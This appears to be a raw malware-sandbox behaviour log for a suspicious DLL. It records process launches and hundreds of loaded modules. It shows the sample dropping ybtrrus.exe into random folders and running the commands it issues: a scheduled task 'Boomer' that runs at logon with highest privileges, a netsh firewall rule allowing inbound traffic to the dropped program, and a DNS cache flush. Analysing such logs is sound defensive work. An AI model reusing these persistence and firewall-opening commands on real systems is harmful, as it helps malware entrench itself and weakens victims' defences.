Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 660
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,g2mcomm_winmain
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8036 -s 608
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",DllMain
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",bz_internal_error
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",g2mcomm_winmain
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7204 -s 656
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7188 -s 608
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7208 -s 616
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\iDQiPwFWUp\ybtrrus.exe "C:\iDQiPwFWUp\ybtrrus.exe"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 672
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\pnVcakKiqh\ybtrrus.exe "C:\pnVcakKiqh\ybtrrus.exe"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7204 -s 684
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ipconfig /flushdns
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: unknown Process created: C:\iDQiPwFWUp\ybtrrus.exe C:\iDQiPwFWUp\ybtrrus.exe
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ipconfig /flushdns
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,DllMain Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,bz_internal_error Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,g2mcomm_winmain Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",DllMain Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",bz_internal_error Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",g2mcomm_winmain Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\iDQiPwFWUp\ybtrrus.exe "C:\iDQiPwFWUp\ybtrrus.exe" Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\pnVcakKiqh\ybtrrus.exe "C:\pnVcakKiqh\ybtrrus.exe" Jump to behavior
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ipconfig /flushdns
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ipconfig /flushdns
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: C:\Windows\System32\loaddll32.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: apphelp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: version.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: mpr.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wininet.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wsock32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: winmm.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: uxtheme.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: devobj.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: msasn1.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: c_is2022.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: c_g18030.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: c_gsm7.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: c_iscii.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: netapi32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: netutils.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: olepro32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: msimg32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: kernel.appcore.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: windows.storage.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wldp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: unrar.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: 7zxa.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: winhttp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: shfolder.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: iphlpapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: magnification.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wtsapi32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: d3d9.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: dwmapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: dwmapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: security.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: secur32.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: sspicli.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: colorui.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: mscms.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: userenv.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: coloradapterclient.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: compstui.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: inetres.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: textshaping.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: windowscodecs.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: propsys.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: profapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wkscli.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: cscapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: winsta.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: fwpuclnt.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: idndl.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: mlang.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: textinputframework.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: coreuicomponents.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: coremessaging.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: ntmarta.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: coremessaging.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: edputil.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: urlmon.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: iertutil.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: srvcli.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: windows.staterepositoryps.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: appresolver.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: bcp47langs.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: slc.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: userenv.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: sppc.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: onecorecommonproxystub.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wbemcomn.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: sxs.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: napinsp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: pnrpnsp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: wshbth.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: nlaapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: mswsock.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: dnsapi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: winrnr.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: rasadhlp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: amsi.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: d3d10warp.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: resourcepolicyclient.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: dxcore.dll
Source: C:\iDQiPwFWUp\ybtrrus.exe Section loaded: dcomp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: apphelp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: version.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: mpr.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wininet.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wsock32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: winmm.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: uxtheme.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: devobj.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: msasn1.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: c_is2022.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: c_g18030.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: c_gsm7.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: c_iscii.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: netapi32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: netutils.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: olepro32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: msimg32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: kernel.appcore.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: windows.storage.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wldp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: unrar.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: 7zxa.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: winhttp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: shfolder.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: iphlpapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: magnification.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wtsapi32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: d3d9.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: dwmapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: dwmapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: security.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: secur32.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: sspicli.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: colorui.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: mscms.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: userenv.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: coloradapterclient.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: compstui.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: inetres.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: textshaping.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: windowscodecs.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: propsys.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: profapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wkscli.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: cscapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: winsta.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: fwpuclnt.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: idndl.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: mlang.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: edputil.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: urlmon.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: iertutil.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: srvcli.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: textinputframework.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: coreuicomponents.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: coremessaging.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: ntmarta.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: coremessaging.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wintypes.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: windows.staterepositoryps.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: appresolver.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: bcp47langs.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: slc.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: userenv.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: sppc.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: onecorecommonproxystub.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wbemcomn.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: sxs.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: napinsp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: pnrpnsp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: wshbth.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: nlaapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: mswsock.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: dnsapi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: winrnr.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: rasadhlp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: amsi.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: d3d10warp.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: resourcepolicyclient.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: dxcore.dll
Source: C:\pnVcakKiqh\ybtrrus.exe Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: msasn1.dll
